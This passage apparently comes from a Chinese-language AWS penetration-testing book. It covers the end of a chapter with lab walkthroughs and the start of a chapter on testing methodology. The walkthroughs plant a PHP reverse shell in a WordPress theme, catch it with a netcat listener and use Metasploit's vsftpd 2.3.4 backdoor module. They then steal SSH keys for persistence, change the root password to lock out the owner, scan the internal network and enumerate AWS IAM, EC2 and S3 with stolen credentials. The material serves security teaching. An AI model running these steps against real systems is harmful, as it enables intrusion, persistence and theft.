现在是时候看看我们是否能在目标应用程序上获得反向 shell保持持久性了。在一个易受攻击的 Web 应用程序上保持持久性向目标客户展示了他们的系统可以被轻松接管。此外,这也是一个更可怕的问题之一,因为它很难被检测到,并且允许未经授权的用户访问主机系统 - 这有时可能导致完全妥协。

要开始我们在目标上获取反向 shell 的旅程,我们需要找到一些可以注入或放置可执行代码的区域:

  1. 首先,让我们去看看主题编辑器图 9.27 – WordPress 主题编辑器

图 9.27 – WordPress 主题编辑器

  1. 我们将有很多模板可供选择。让我们使用404 模板
http://<public DNS>/wp-admin/theme-editor.php?file=404.php&theme=twentytwenty

这可以如下所示:

图 9.28 – 带有我们代码的 WordPress 主题编辑器

图 9.28 – 带有我们代码的 WordPress 主题编辑器

  1. 我们将以下代码放入模板中。设置443。此代码可以在此处找到:

github.com/PacktPublishing/AWS-Penetration-Testing/blob/master/Chapter%209:%20Real-Life%20Pentesting%20with%20Metasploit%20and%20More!/phpshell.php

  1. 现在,我们需要在我们的 Kali Linux 主机上启动netcat来监听连接:
$ nc -lnvp 443
  1. 现在我们需要尝试访问包含我们代码的完整 URL。我们可以使用curl命令来做到这一点:
$ curl http://<public dns>/wp-content/themes/twentytwenty/404.php

这将产生以下输出:

图 9.29 – 来自我们目标主机的反向 shell

图 9.29 – 来自我们目标主机的反向 shell

好的,所以我们使用了我们的精巧有效载荷获得了一个Netcat shell。然而,现在让我们通过获取一个Meterpreter shell 来简化事情!我个人觉得 Meterpreter shells 更令人愉悦,因为你可以在 Metasploit 中使用它们,并且它们具有典型 shell 所没有的额外功能。

要获得一个 Meterpreter shell,我们将在 Metasploit 中使用一个 WordPress 漏洞。我们将使用我们在评估中发现的凭据,以及我们的 AWS Kali Linux 主机来捕获传入的连接。

一旦你启动了 Metasploit,使用以下命令加载你的模块并配置它以针对主机:

$ use exploit/unix/webapp/wp_admin_shell_upload
$ set password admin
$ set username admin
$ set rhosts <Target Public DNS>
$ set lhost <AWS Kali Public DNS>
$ set lport 443
$ run

这将产生以下输出:

图 9.30 – 来自我们目标主机的 Meterpreter 反向 shell

图 9.30 – 来自我们目标主机的 Meterpreter 反向 shell

如你所见,我们已成功使用Netcat shell 和Meterpreter shell 获得了对主机操作系统的访问权限。从外观上看,这个应用程序相当不安全,并且几乎没有任何安全措施。现在我们已经完成了对这个应用程序的渗透测试,是时候继续讨论问题以及如何与他人讨论如何解决这些问题了。

讨论问题

一旦渗透测试结束,与目标讨论一些在渗透测试期间发现的问题是至关重要的。同样非常重要的是,避免使用可能会让非技术人员客户感到困惑的极其技术性的术语。让客户感到困惑或被技术术语压倒实际上可能会让客户离开,并且他们可能不会推荐你进行另一次渗透测试。

以下是我们将写给客户并附上渗透测试结果的声明:

在 WordPress 应用程序的渗透测试中,渗透测试人员成功地通过猜测和社会工程学提取了密码。社会工程包括向用户发送恶意链接,希望其中一些人会点击该链接并在看起来像客户网站的地方输入他们的凭据。

获得访问权限后,渗透测试人员继续前进,并在 Web 应用程序中放置了恶意代码,然后可以用来授予对目标服务器的未经授权访问。

建议客户培训其员工不要点击恶意链接,并且工程师不要为任何应用程序使用弱凭据。还建议审查密码策略,以防止未来创建简单的用户名和密码。如果您有任何问题,请告知,我们期待再次与您合作。

正如您所看到的,我们避免使用任何技术性术语,并建议如何解决问题。这让目标客户明白我们在这里是来帮助他们的,并且我们将与他们合作解决问题 – 最终巩固与客户业务的关系。

现在我们已经在 WordPress 黑客攻击中动手玩了一番,让我们来看看在评估 AWS 环境时可能遇到的一些不同问题。接下来,我们将开始研究如何发现托管在 EC2 上的易受攻击的应用程序。

针对易受攻击的服务应用程序

易受攻击的服务是环境中可能存在的最糟糕的问题之一,也是最容易修复的问题之一,但并非总是最便宜的。随着应用程序变老,构建应用程序所使用的代码也变老,而随着时间的推移,旧应用程序的漏洞也在增加。不幸的是,尽管简单地修补或更新旧软件听起来很容易,但实际上是非常昂贵和耗时的。更新应用程序可能需要大量时间,并且会使应用程序使用的服务停机。这意味着收入和可用性的损失。

在下一个场景中,我们将看到在 AWS 网络上易受攻击的应用程序造成的真正损害。

场景 – 发现和攻击任何易攻击的目标

在这种情况下,客户要求对他们怀疑存在易受攻击的应用程序进行渗透测试。该应用程序目前托管在其 AWS 环境中,并且可以从全球范围内的互联网公开访问。客户希望了解 Web 应用程序的易受攻击程度以及如果攻击者利用该应用程序并获得访问权限,会出现什么问题。

客户告诉我们,该应用程序用于文件存储,因此我们可以假设它很可能是某种类型的21。这就是我们将开始进行渗透测试的地方。

当然,在进行此操作之前,我们需要先设置环境。

使用社区 AMI 设置目标

要开始,我们需要转到 EC2 控制台,该控制台可以通过主 AWS 控制台访问。一旦您访问了 EC2 控制台,请点击启动实例,快速地启动一个易受攻击的实例:

  1. 在选择启动实例后,让我们选择vsftpd-2-3-4-final社区 AMI:图 9.31 – 启动我们的社区镜像

图 9.31 – 启动我们的社区镜像

  1. 你需要确保实例与其他正在运行的实例在同一个VPC中。我们将把它放在我们的Pentest Playground VPC 中。

  2. 跳到最后,生成密钥对,并启动实例!

就这么简单,我们的实例已经准备就绪。但是,请给实例几分钟的时间来加载并分配地址,以便我们可以访问它。

接下来,我们将继续进行渗透测试,看看我们可以发现哪些潜在易受攻击的应用程序问题。

扫描打开的端口

一如既往,我们想要21,我们想要检查任何其他端口,以防我们忽视了某些东西。

在你的AWS Kali实例上启动Metasploit,并使用以下命令选择和配置模块来对我们的目标进行端口扫描:

$ use auxiliary/scanner/portscan/tcp
$ set rhosts ec2-54-189-99-52.us-west-2.compute.amazonaws.com

这将给我们以下输出:

图 9.32 - 使用 Metasploit 扫描我们的主机的端口

图 9.32 - 使用 Metasploit 扫描我们的主机的端口

正如你所看到的,我们在主机上打开了端口22和端口21。我们可以确认我们的怀疑,端口21确实是打开的。既然我们已经确认它是打开的,让我们继续收集有关端口21的更多信息。

对易受攻击的服务进行信息收集

继续前进,我们需要确定运行在端口21上的应用程序和版本号。为了帮助我们发现这一点,我们将使用nmap来扫描端口21并枚举该服务的版本:

$ nmap -sV -p21 ec2-54-189-99-52.us-west-2.compute.amazonaws.com

这将给我们以下输出:

图 9.33 - 使用 Nmap 扫描我们的主机

图 9.33 - 使用 Nmap 扫描我们的主机

我们现在知道了托管在目标主机上的文件服务的版本。正如你所看到的,vsftpd 2.3.4是系统上运行的应用程序的版本。让我们使用一个名为SearchSploit的程序来查看是否有我们可以针对我们的目标使用的任何漏洞利用:

$ searchsploit vsftpd 2.3.4

这将给我们以下输出:

图 9.34 - 搜索漏洞

图 9.34 - 搜索漏洞

看起来有一个Metasploit模块,我们可以用来利用我们的目标。我们现在有足够的信息来尝试利用我们的目标,希望能够访问目标系统。

使用 Metasploit 进行系统全面接管

有了关于目标的所有信息,让我们开始转变思路,进入攻击模式。要攻击应用程序,我们需要启动 Metasploit 并配置模块以适应当前目标:

$ use exploit/unix/ftp/vsftpd_234_backdoor
$ set rhosts <target host>
$ exploit

这给我们带来了以下输出:

图 9.35 - 在目标主机上获取 root shell

图 9.35 - 在目标主机上获取 root shell

正如你所看到的,我们有一个 root shell!这意味着我们完全控制了我们的目标,并可以对系统上的一切进行更改。然而,我们的 shell 可能需要在你的 shell 终端中再加一点“背景”。

现在我们回到了我们的 Metasploit 终端,让我们使用shell_to_meterpreter模块来升级我们当前的 shell。以下内容将为我们选择和配置这个模块:

$ use post/multi/manage/shell_to_meterpreter
$ set session 1
$ set lhost <public dns kali AWS>
$ exploit

你会看到以下输出:

图 9.36 - 升级到 Meterpreter shell

图 9.36 - 升级到 Meterpreter shell

正如你所看到的,我们现在有了vsftpd漏洞利用,第二个 shell 是我们新升级的 shell。要访问我们的新 Meterpreter shell,请使用以下命令:

$ session -i 2

太棒了 - 现在我们有了一个 Meterpreter shell,我们可以用它来利用环境中的更多潜在问题。让我们继续讨论并执行一些常见的方法,你可以成功地利用这个特定的主机进行更多的道德黑客乐趣。

后期利用和削弱其他服务

太好了,我们现在可以访问我们的系统了 - 想看看我们还能做什么吗?我们已经有了 root 访问权限,这意味着我们可以对我们的受攻击目标做几乎任何我们想做的事情。

在我们开始之前,让我们看看这个主机所在的网络。现在我们已经利用了它,我们都可以访问私有 AWS 网络,并可以使用公共 IPDNS名称进行攻击。

重要提示

在一次真正的渗透测试中,您可以在私有 AWS 网络内部进行枢纽转移,并发现更多可能对公众不可访问的主机!

让我们继续在目标主机上运行ifconfig来查看我们的网络信息:

图 9.37 – 从目标主机获取网络信息

图 9.37 – 从目标主机获取网络信息

正如您所看到的,我们在eth0接口上找到了内部网络!虽然我们不会在这里进行任何枢纽转移,但重要的是要理解,从一个主机到另一个主机的枢纽转移是非常危险的 – 对系统来说是危险的。能够在网络内部进行枢纽转移而不被发现的黑客通常永远不会被抓住,并且可以在网络内部停留很长时间。重要的是要有日志记录和监控解决方案,以确保攻击者无法在网络中移动。

接下来,我们将在当前的Meterpreter会话中使用一个模块。我们将要使用的模块将为我们窃取 SSH 密钥,并基本上允许我们持久地访问系统。

让我们继续退出当前会话,输入background。接下来,加载并运行以下模块:

$ use post/linux/manage/sshkey_persistence
$ set session 2
$ run

这将给出以下输出:

图 9.38 – 获取 SSH 公钥

图 9.38 – 获取 SSH 公钥

现在我们可以利用这一点来实现持久性!将窃取的SSH 密钥复制到您的本地 Kali 机器上。然后,保存文件并更改权限:

$ chmod 400 vsftpd.pem

很好,现在权限都设置好了,我们可以继续进入我们的被黑客攻击的目标:

$ ssh -i vsftpd.pem root@ec2-54-245-170-97.us-west-2.compute.amazonaws.com

这将给出以下输出:

图 9.39 – 以 root 身份 SSH 进入目标主机

图 9.39 – 以 root 身份 SSH 进入目标主机

现在有一件事情,如果不被发现,会相当危险 – 让我们将密码更改为我们可以记住的内容,并且会拒绝客户端访问系统!

$ passwd root

您将看到以下输出:

图 9.40 – 更改 root 账户的密码

图 9.40 – 更改 root 账户的密码

现在,我们有一个密码可以使用,目标用户不知道。现在我们已经将密码更改为 root 账户,他们将无法以 root 级别访问它 – 这意味着我们完全控制了主机。

在结束这次渗透测试之前,我们将看一下具有公共访问权限的 EC2 实例也是内部网络的一部分的危险。在这种情况下,我们的利用主机到内部/私有网络的 IP 是172.31.7.0/24。我们可以使用ifconfig命令收集这些信息。请参考图 9.37进行说明。

要成功发现系统上的任何主机,我们需要在被利用的vsftpd服务器上安装 Nmap。安装和部署Nmap将允许我们扫描内部网络,查找任何在线主机 – 或者在我们的情况下,可以用来进一步利用的“目标”。

接下来,我们将在利用机器上运行以下命令来安装 Nmap:

$ apt install nmap

现在我们可以扫描网络内部,看看是否有其他主机在线!

$ nmap 172.31.7.0/24 -sn

这将给我们以下输出:

图 9.41 – 扫描新发现的内部主机

图 9.41 – 扫描新发现的内部主机

看起来我们找到了另一个可能成为另一个被攻击目标的主机。让我们对主机进行版本扫描,看看我们可以在主机上发现什么:

$ nmap <<ec2 instance>>  -sV

您将看到以下输出:

图 9.42 – 扫描新发现的内部主机的端口和服务

图 9.42 – 扫描新发现的内部主机的端口和服务

从这里,我们可以转向我们发现的主机,但是现在我们不需要担心这个问题。现在,我们已经有足够的信息让客户了解他们的安全状况的整体风险。让我们继续讨论在这次测试中发现的问题需要报告需要做些什么。

报告漏洞

这个测试让我们测试了一个应用程序,该应用程序存在一些严重的漏洞,还让我们看到了内部网络中的其他主机。能够转向网络内的其他主机是非常危险的,因为它让我们看到了通常看不到的系统。此外,根据环境的不同,我们可能会发现一些非常敏感的数据,比如社会安全号码、信用卡号码和医疗保健信息。

重要提示

如果在渗透测试期间发现了敏感信息,渗透测试必须停止所有操作,直到围绕敏感信息的问题得到纠正。

现在让我们讨论如何向我们的目标客户提出关于我们刚刚发现的环境的声明以及我们需要与客户合作以帮助他们纠正问题的内容:

"在渗透测试期间,我们发现了一个易受攻击的文件传输应用程序,该应用程序托管在对公众开放的服务器上。发现了易受攻击的应用程序 VSFTPD 2.3.4,没有任何补丁或更新。一旦我们的渗透测试人员发现了该应用程序,他们就能够利用 Metasploit 这个渗透测试软件攻击位于公共 EC2 实例上的应用程序。该软件允许我们的渗透测试人员利用该应用程序并访问私人内部网络并发现其他主机。

建议尽快更新该应用程序,因为该应用程序很容易受到攻击,并且任何人都可以看到。此外,请确保网络正确分割,并且只有授权的主机可以相互通信。"

这份声明再次避免使用可能会让客户困惑的专业术语。它提到渗透测试人员能够轻松地利用该应用程序并查看内部网络。它还提到了这个问题有多严重,因为我们可以通过公共 DNS名称来利用它。

我们已经成功运行了两次不同的渗透测试,攻击了 AWS 内的应用程序,并展示了懒惰管理和缺乏修补所带来的一些真正问题。我们还快速查看了如果我们没有正确保护私人网络中的其他实例可能会发生什么,并讨论了如果攻击者获得访问权限可能会发生什么。

现在,让我们转向一些不同的事情——我们将利用功能测试来发现我们 AWS 环境中的资源。

探索 AWS Metasploit 模块

到目前为止,我们一直在使用 Metasploit 来攻击渗透测试范围内的主机。现在,让我们开始查看一些 AWS 模块,以枚举并可能攻击 AWS。对于我们的目的,假设我们能够从客户那里获得凭据。这将是功能测试的一部分。我们想看看我们可以利用这些凭据来做些什么。

首先,让我们启动我们之前攻击过的易受攻击的vsftpd实例和Pentest Playground VPC 中的 Kali 实例。

现在,我们要做一些不同的事情。这是功能测试和黑盒测试的结合。我们已经窃取了凭据,但对环境一无所知——因此,我们需要看看我们能否找到任何有用的东西!

窃取用户凭据

我们要进行的第一个练习将涉及窃取属于其他 AWS 用户帐户的凭据。这些凭据允许您访问 AWS 环境并访问S3 存储桶Lambda等资源。

这个练习将涉及更多的功能测试环境,并旨在查看我们可以查看多少个账户。我们不会担心使用找到的账户,因为它们是我们已经参与的同一环境的一部分。

让我们在我们的 AWS Kali Linux 实例中启动Metasploit。一旦您启动并运行了 Metasploit,使用以下模块:

$ use auxiliary/cloud/aws/enum_iam

现在我们加载了模块,是时候用我们的 AWS 账户访问密钥来配置它了。请回顾一下第四章利用 S3 存储桶,以了解如何获取您 AWS 环境的凭据。一旦您获得了 AWS 凭据,将访问密钥 ID秘密访问密钥设置到Metasploit模块中以适应您的账户。

配置好后,使用run命令执行模块:

图 9.43 – 盗取账户

图 9.43 – 盗取账户

现在我们有了更多的用户!您可以使用这些凭据访问其他账户,并可能扩展环境以进一步进行攻击。虽然我们不会太担心这一点,但知道作为这个受损用户,我们现在可以在不访问 AWS 控制台的情况下看到其他账户是很好的。现在,让我们使用 EC2 Metasploit 模块来帮助我们发现正在运行的其他潜在 EC2 实例。

在我们未知的环境中发现 EC2 实例

想象一下,一些恶意行为者已经进入了您的环境,但不知道从哪里开始攻击。现在想象一下,恶意黑客能够扫描和发现您环境中的各种实例。下一个练习将帮助我们理解 - 攻击者如何在几分钟内找到您环境中的 EC2 实例!

在这个练习中,我们将使用一个 Metasploit 模块来枚举环境中的所有 EC2 实例。我们需要确保我们的VSFTPD 2-3-4-Final实例被用来在练习中展示概念的证明:

  1. 首先,在您的 AWS Kali 实例中使用 Metasploit,并使用以下模块:
$ use auxiliary/cloud/aws/enum_ec2
  1. 加载模块后,您需要使用访问密钥配置到我们的 AWS 环境中:图 9.44 – 配置带有凭据的模块

图 9.44 – 配置带有凭据的模块

  1. 配置好后,使用run命令执行利用:

图 9.45 – 发现新主机和私有网络

图 9.45 – 发现新主机和私有网络

您将得到很多信息 - 查看正在运行的实例!正如我们在本章的针对易受攻击的服务应用部分所看到的,找到一个弱主机,比如VSFTPD 2-3-4-Final,可能会导致一些极具影响力的情况,可能导致整个系统被攻破。攻击者可以利用这些信息来利用弱服务并 compromise 内部 AWS 网络。

现在我们已经玩了一些不熟悉的 Metasploit 模块,让我们再看看一个模块,它将枚举我们更熟悉的服务。还记得第四章中,利用 S3 存储桶,我们是如何枚举 S3 存储桶的吗?现在我们要做的事情完全一样,只是我们将使用 Metasploit。

使用 Metasploit 枚举 S3 存储桶

现在,我们将最后一次使用 Metasploit 查看我们的 AWS 环境。我们将使用账户密钥快速枚举一些在 AWS 环境中的存储桶。这不会访问存储桶中的任何内容,但它会让我们知道我们能看到哪些存储桶。

要开始,请使用 Metasploit 中的以下模块:

$ use auxiliary/cloud/aws/enum_s3

加载完成后,继续配置模块与我们的 AWS 凭据,并使用run命令执行模块:

图 9.46 - 使用 Metasploit 收集 S3 存储桶

图 9.46 - 使用 Metasploit 收集 S3 存储桶

我们成功枚举了我们的packtawspentesting存储桶!现在我们可以继续利用存储桶并从 S3 资源中外泄数据。如果您想要回顾如何利用 S3 存储桶,请参考第四章利用 S3 存储桶

我们现在即将结束本章。通过完成所有练习并真正感受到渗透测试 AWS 的感觉,你做得很棒!在本章中我们做了很多,在整本书中也是如此。现在我们将继续进入书的下一部分,在那里我们将讨论所学到的经验教训以及我们如何进行更好的渗透测试。然而,在我们这样做之前,让我们总结一下我们所学到的一切!

总结

在本章中,我们深入研究了如何使用 Metasploit 执行一些逼真的渗透测试场景,这有助于我们更好地理解 AWS 中真实的渗透测试是如何进行的。我们还研究了一些在 AWS 中使用的模块,这些模块允许我们在我们的范围环境内执行功能测试并收集信息,从而使我们进一步加强攻击。

接下来,我们将开始研究在完成渗透测试后会发生什么。重要的是要理解概念和流程,以及在完成渗透测试后该做什么,以及我们如何利用渗透测试后的时间来帮助客户加强安全。我们还将开始进一步讨论如何为渗透测试做准备,以及在 AWS 中完成成功的渗透测试所需的步骤。

进一步阅读

第三部分:经验教训-报告撰写,保持在范围内,以及持续学习

到了这本书的这一部分,你应该已经熟悉了 AWS 渗透测试的基础知识以及其服务的利用方式。在这里,你将学习报告撰写的重要性以及在渗透测试中的价值。本节还将介绍如何保护 AWS 实例免受漏洞的影响,比如错误配置,同时解释在渗透测试时什么是合法的,什么是非法的。

本节包括以下章节:

  • 第十章渗透测试最佳实践

  • 第十一章避免麻烦

  • 第十二章AWS 的其他项目

第十章:渗透测试最佳实践

渗透测试并不是一种适合所有类型的评估。适用于一种渗透测试的内容可能与另一种不同。了解渗透测试的含义以及保持对趋势和技能集的了解是至关重要的。理解 AWS 渗透测试可能与传统的渗透测试不同同样重要,正如我们在本书中所看到的,并将在本章中进一步了解。我们必须了解 AWS 渗透测试的技术和非技术部分,这正是本章的重点。我们将首先概述渗透测试期间要执行的步骤。然后我们将了解 AWS 渗透测试的未知因素。我们将学习在进行渗透测试之前准备环境,最后,我们将讨论渗透测试后需要执行的一些实际步骤。

在本章中,我们将涵盖以下主题:

  • AWS 的渗透测试方法论

  • 了解您的渗透测试和 AWS 渗透测试的未知因素

  • 渗透测试的预设条件

  • 避免沟通中断

  • 实现安全而非隐秘

  • 渗透测试后

技术要求

本章的指导需要以下内容:

  • AWS CLI

  • Metasploit

AWS 的渗透测试方法论

这一部分将偏离用于非云渗透测试环境的传统渗透测试方法论。我们不遵循传统的渗透测试方法主要是因为我们的目标范围-在这种情况下,我们的目标将是 AWS 环境。此外,我们将使用客户提供的有效凭据执行功能测试。

重要提示

功能测试是一种扫描和检查漏洞和用户实施的错误配置服务的手段和方法。

整个章节将讨论渗透测试的注意事项和细节,需要在执行渗透测试之前和之后了解。然而,在我们讨论任何内容之前,我们需要了解如何对 AWS 进行渗透测试的步骤。

让我们详细分解在 AWS 目标上执行渗透测试的四个不同步骤:

  1. 侦察

  2. 利用

  3. 利用后

  4. 报告

让我们详细看看每一个。

侦察

侦察,也常被称为侦察,是我们使用各种工具收集有关目标的信息的过程。我们在第二章中使用了一些这些工具,渗透测试和道德黑客,并学习了如何收集有关目标的公共信息。

此外,我们使用侦察阶段来收集有关服务和用户的信息。Lambda、S3 和 EC2 等服务是您用来发现和枚举目标环境信息的服务-发现 S3 存储桶的完整 URL 路径,通过 EC2 找到公共 DNS 地址作为内部网络的入口点,以及识别弱 Lambda 函数和策略。所有这些都是 AWS 渗透测试期间侦察阶段的一部分。

一旦我们获得了关于目标环境的所有信息,就是时候进入利用阶段了,我们将开始创建攻击路径,以及武器化利用我们的易受攻击的服务和目标。

利用

这绝对是 AWS 渗透测试方法论中更有趣的部分之一。我们在利用阶段收集的所有信息,并创建一个我们认为可以在目标环境上运行的攻击路径 - 当然,这是根据我们发现的信息。攻击路径是一个理论上的逐步过程,您可以根据在侦察阶段发现的信息来构建,以突出启动攻击所采取的步骤。让我们看看我们可以根据在 AWS 渗透测试的侦察阶段可能发现的信息创建的一些不同的攻击路径。我们将描述一个攻击路径,该路径从外部内部威胁攻击服务。

攻击路径

以下是一个说明内部威胁可能会做什么的攻击路径。请记住,内部威胁是指为公司工作并已经具有有效凭据访问环境的人:

  1. 发现一个具有弱策略和可能包含敏感信息的S3 存储桶

  2. 修改弱策略以允许内部人员检索机密信息

  3. 内部人员外泄敏感数据并创建一个新的策略,阻止合法用户访问 S3 存储桶。

这是一个潜在的 AWS 攻击路径示例,而不需要任何凭据的知识:

  1. 在公共 GitHub 存储库中识别凭据。

  2. 使用这些凭据对 AWS 环境进行身份验证。

  3. 一个具有公共 DNS 的 EC2 实例托管一个易受攻击的 Web 应用程序,如 WordPress,允许渗透测试人员攻击和访问主机操作系统。

  4. 安装后门以实现持久访问。

  5. 扫描内部 VPC 网络并发现其他易受攻击的目标。

武器化

这些攻击路径说明了可能造成的潜在危害;然而,攻击路径只是基于在环境中发现的内容的理论。为了进行利用,攻击路径需要对其应用方法以武器化攻击路径。

重要提示

方法是用于执行攻击的工具和策略。

作为渗透测试人员,您将拥有工具来帮助您实现特定攻击路径的结果。诸如Kali LinuxMetasploitAWS CLI之类的工具非常适合执行我们在本节中阐述的攻击路径。您还可以使用 Bash 或 Python 编写自己的工具,就像我们在第四章中所做的那样,利用 S3 存储桶。一旦您准备好所有工具,并且您的创造性攻击路径准备就绪,就是利用 AWS 服务的时候了。

利用

利用涉及通过逐步进行攻击路径的每个步骤和可能的利用方法来结合我们的攻击路径和方法。当然,由于攻击路径是理论性的而不是实际性的,可能会有时候您无法完全执行整个攻击路径。如果发生这种情况,请确保您记录并报告您能够做的事情,并说明对组织的影响。我们将在本章中更多地了解有关报告的内容,所以现在让我们继续讨论利用。

关于利用的一个重要事项是拒绝服务攻击,通常称为 DoS,如在《第六章》中提到的,设置和渗透测试 AWS Aurora RDS。如果攻击路径中包含 DoS 攻击作为攻击路径的一部分,那么您和渗透测试团队需要与客户讨论 DoS 是否是他们允许在渗透测试期间发生的事情。通常,您将有一个描述是否允许 DoS 的服务级别协议;然而,最好通知或询问是否允许 DoS,因为它是如此具有侵入性,可以关闭系统,使其对用户无用。此外,生产系统不应发生 DoS,因为生产系统与推动客户业务模型直接相关 - 这意味着生产系统通常与帮助生成某种收入相关。如果您怀疑生产系统容易受到 DoS 攻击,请要求生成一个复制目标系统的测试系统,以测试DoS 攻击。这样,您可以测试您的理论,同时不影响目标组织。

一旦您运行了攻击路径并完全执行了所有操作,我们需要看看是否有任何方法可以在被利用的环境中进行枢纽,并检查是否可以访问其他网络。

后期利用

在这个阶段,我们主要关注尝试发现我们可能能够使用来进一步攻击路径的其他资源。在 AWS 渗透测试方面,我们可以利用后期利用阶段来发现可能可利用的其他服务 - 通常,我们会发现其他易受攻击的服务托管在 EC2 实例上,就像我们在《第九章》中所做的那样,使用 Metasploit 和更多进行现实生活渗透测试

关于后期利用的另一个重要点是检查是否可以看到 VPC 内可能可见的其他网络。在渗透测试世界中,回想一下术语“分割” - 一个涉及不同网络之间不安全通信的术语。例如,我们希望检查并确保媒体网络不能直接与金融网络通信,因为金融网络将托管个人可识别信息(PII)。

能够通过网络进行枢纽或发现其他易受攻击的服务,使我们的 AWS 渗透测试方法能够充分详细地描述客户系统中最糟糕的可能性,通过展示对客户系统中的漏洞进行全面攻击。这种全面攻击突出了漏洞是真实且可利用的 - 这意味着攻击者也可以这样做!

一旦我们完成了在网络中的枢纽,就是时候重新追溯我们的步骤,看看我们可能错过了什么。这意味着回顾 AWS 渗透测试方法的整个过程。完成追溯步骤并回顾任何可能错过的项目后,就是开始撰写报告的时候了!

接下来,让我们开始讨论报告撰写过程。

报告

稍后的章节,“渗透测试后 - 在渗透测试之后”,将更详细地讨论并分解报告过程;然而,讨论如何在 AWS 方面使用报告是很好的。在收集来自您的渗透测试的信息时,您希望确保详细说明功能部分和更传统的渗透测试部分。这意味着哪些部分使用了凭据,哪些部分可以在没有凭据的情况下被利用。以这种方式突出这些问题,使目标业务能够了解攻击者或内部人员如何可能利用您的系统,同时也查看环境中一些功能改进的领域。

现在,让我们扩展这个想法,开始进一步讨论报告以及在 AWS 渗透测试技术部分完成后我们应该做些什么。

了解您的渗透测试和 AWS 渗透测试的未知因素。

不应该有任何石头被忽略-至少谚语是这样说的。关于 AWS 的渗透测试,甚至一般的渗透测试也可以说同样的事情。渗透测试的好坏取决于所有参与渗透测试的人。这意味着目标组织需要确保他们允许所有信息被共享,如果渗透测试团队怀疑需要任何额外的信息,这些信息应该提供给团队。这就是我们所说的知道未知

了解在渗透测试中要寻找什么的最佳方法是不断进行渗透测试,并始终对新想法持开放态度。虽然这听起来有点陈词滥调,但确实有一定的道理。经验在引导渗透测试取得成功方面起着巨大的作用,而获得经验的唯一方法就是尽可能地进行道德黑客攻击-在不同的环境中,我可以补充。这就是为什么在本书中我们看了很多基于各种服务和应用程序的不同情景。这些练习中的每一个都有助于在您的头脑中建立数据库,您可以利用存储在数据库中的知识来帮助指导您未来的道路。

知道可以期待什么完全取决于过去的经验。例如,如果您想执行功能测试,您应该知道在渗透测试开始之前就应该拥有对 AWS 环境的凭证。您还应该知道应该全面了解正在测试的所有实例和资源。一个初级的云渗透测试人员可能不太清楚,也可能不知道该问什么。然而,在阅读本文并利用您的经验之后,您知道应该询问更多关于渗透测试应该包括什么内容以及应该要求哪些资源的问题-因此知道未知

让我们讨论一下在进行基于 AWS 的渗透测试或包含在范围内的具有 AWS 资产的渗透测试之前,您需要确保了解的一些要点。

获取 AWS 凭证

收集凭证对于能够有效地对目标进行功能测试至关重要。没有这些凭证,您将无法访问任何资源,也无法检查配置错误,如策略、检测流程和易受攻击的功能。我们在本书的大部分内容中都看到,大多数资源在外部是不可用的,对公众可用的资源应该有某种业务理由,比如运行需要对互联网可访问的 Web 服务器的实例,共享公共资源的文件服务器,或者允许用户共享信息的 S3 公共存储桶。

虽然这些都是很好的理由,但仍然需要进行合理的解释,并制定政策,确保敏感信息不会放在公共资源中,并采取安全措施。

资源所有者

了解您正在测试的资源的所有者非常重要。我们指的不是整体客户,而是拥有 AWS 资源的部门。由于 AWS 易于扩展,而且极易出现实例管理不善的情况,因此与您正在测试的资源的运营和所有者直接沟通非常重要。这将使您能够在渗透测试之前、期间和之后讨论问题。您还将能够将任何渗透测试发现直接提交给该所有者。

应用程序的凭证

当我们对功能进行渗透测试时,拥有该应用程序的凭据是很重要的。没有凭据,我们将无法访问应用程序,也无法准确了解其工作原理,更重要的是,无法了解其在目标环境中的工作方式。了解应用程序在环境中的使用方式可以让您真正了解组织的运作方式以及它们是否在实践安全措施。

例如,Web 应用程序可能已经有了诸如强密码和使用加密的 HTTPS 流量等安全措施,但 Web 应用程序上的用户可能拥有过于宽松的控制权限,使他们能够操纵 Web 服务器,并且可能允许攻击者利用用户帐户进行攻击。如果没有应用程序的凭据,我们将无法正确评估应用程序的这一部分。

揭示私有和公共网络

另一个重要的事情是要知道您将在哪些网络中进行操作和评估。这有助于避免麻烦,也让您知道应该扫描哪些子网,只评估这些子网内的目标。我们还需要知道私有VPC中是否有与之关联的公共DNS名称的目标主机。这让我们知道潜在的易攻击区域和更有可能受到攻击的目标,因为它们对 Web 是开放的。

现在我们知道如何避免渗透测试中的未知部分,现在让我们开始向前迈进,讨论如何在渗透测试开始之前对我们的团队进行预先准备。

渗透测试的预先条件

为您的环境做好准备对于完成成功的渗透测试至关重要。就像了解未知一样,确保您和您的团队一切井然有序,并且每个人都对渗透测试的执行方式心知肚明是至关重要的。在渗透测试之前随时准备一份清单并确保所有问题都得到了解答是很好的。所有问题得到解答可以确保在渗透测试开始之前没有任何事情被忽略或未解答。

让我们讨论一些在开始渗透测试之前与您的团队和环境中应该具备的好事。

团队成员分配

虽然这似乎是显而易见的,但渗透测试团队中的每个人都知道他们在渗透测试中的具体工作职责是很重要的。通常情况下,你会希望有一个渗透测试人员执行部分网络或云部分的渗透测试,而另一个渗透测试人员则进行 Web 应用程序的渗透测试。同样重要的是,每个渗透测试人员都知道什么在范围内,什么不在范围内。特定的 API 可能是禁区,高价值的生产系统通常是禁区,某些云环境可能不符合资格。

无论进行何种渗透测试,每个测试人员都应该了解他们的职责以及应该进行渗透测试的时间。

文档准备

另一个建立起来的好事是为渗透测试人员建立一个集中的方式来存储和分享渗透测试期间的笔记。共享笔记确保渗透测试人员不会重叠,并且在渗透测试不同环境时也可以互相帮助。文档的另一个非常重要的方面是确保渗透测试人员在渗透测试期间拍摄屏幕截图。屏幕截图帮助渗透测试人员在报告中说明他们在渗透测试期间所做的事情。

联系人名单

在渗透测试期间拥有一个联系人名单是非常重要的,因为它让您知道在渗透测试期间应该联系哪些人以解答您可能遇到的问题。您应该有一个详细的名单,列出了各种问题应该联系哪些人,无论是访问云环境、无法访问网络,还是需要创建临时帐户。详细的人员名单将确保您可以迅速解决这些类型的问题。

现在我们了解了在开始渗透测试之前需要发生的事情,让我们讨论一下在进行渗透测试时应该了解的一些事情。其中最大的问题之一就是缺乏沟通,这正是我们接下来要分解的内容。

避免沟通中断

在渗透测试过程中,很容易迷失在细节中,忘记评估的另一边有人依赖你与他们讨论渗透测试过程中发生的事情。我太多次见到渗透测试开始后完全中断了沟通,直到渗透测试结束才有沟通。然而,这不应该是这样的-永远不应该。

在渗透测试过程中,你的客户通常会对你在做什么感到好奇,让他们了解正在发生的事情实际上是有益的。为什么这很重要?有多种方式。让我们看看如何通过保持沟通的自由流动来让每个人都参与其中,并帮助避免可能出现的任何交谈障碍。

每日开始和结束的电子邮件

